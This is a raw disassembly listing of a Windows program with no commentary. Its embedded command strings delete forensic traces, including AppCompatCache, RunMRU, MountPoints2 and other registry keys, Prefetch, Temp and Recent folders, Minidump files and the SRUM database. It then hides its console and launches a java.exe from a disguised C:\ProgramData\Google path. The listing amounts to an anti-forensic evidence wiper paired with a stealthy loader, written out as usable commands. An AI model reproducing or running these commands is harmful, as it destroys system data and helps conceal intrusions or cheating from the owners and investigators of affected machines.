lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3618]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140037ee0]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3648]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3678]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsage___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32___va__f
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x36a8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x36d8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3708]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140038008]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3738]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3768]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x3798]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x37c8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x37f8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140038130]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3828]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3858]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_USERSS_1_5_21_2602321470_2002389895_1872647306_1001SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f__p
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_ADD__HKEY_USERSS_1_5_21_2602321470_2002389895_1872647306_1001SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___p
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x3888]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x38b8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x38e8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x1400382a0]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3918]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3948]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_USERSSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___va__f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_DELETE__HKEY_USERSSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___va__f
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x3978]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x39a8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x39d8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x1400383e8]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3a08]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3a38]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE__HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.REG_ADD__HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x3a68]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3a98]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3ac8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x1400384f8]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3af8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3b28]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.C:WindowsTemp
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:Users_USERNAME_AppDataLocalTemp
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:Users_USERNAME_AppDataRoamingMicrosoftWindowsRecent
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:Users_USERNAME_AppDataRoamingMicrosoftWindowsRecentCustomDestinations
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:Users_USERNAME_AppDataRoamingMicrosoftWindowsRecentAutomaticDestinations
call qword [sym.imp.ucrtbased.dll_remove]
mov edx, 0x44
lea rcx, [rbp + 0x3b58]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3b88]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3bb8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x1400386a8]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3be8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3c18]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.C:WindowsPrefetch
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.DEL_C:Userslevin1337AppDataLocalTemp___p
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x44
lea rcx, [rbp + 0x3c48]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3c78]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x3ca8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140038880]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3cd8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x3d08]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.DEL__f__q_C:WindowsSystem32_sru
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x1400265c4
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x1f68], rax
xor edx, edx
mov rcx, qword [rbp + 0x1f68]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14001133e
lea rcx, str.cd_C:ProgramDataGooglelaunch
call qword [sym.imp.ucrtbased.dll_system]
lea r8, [rbp + 0x1ea8]
lea rdx, str.C:ProgramDataGooglejdk_binjava.exe__noverify__Xmx
lea rcx, [rbp + 0x3d38]
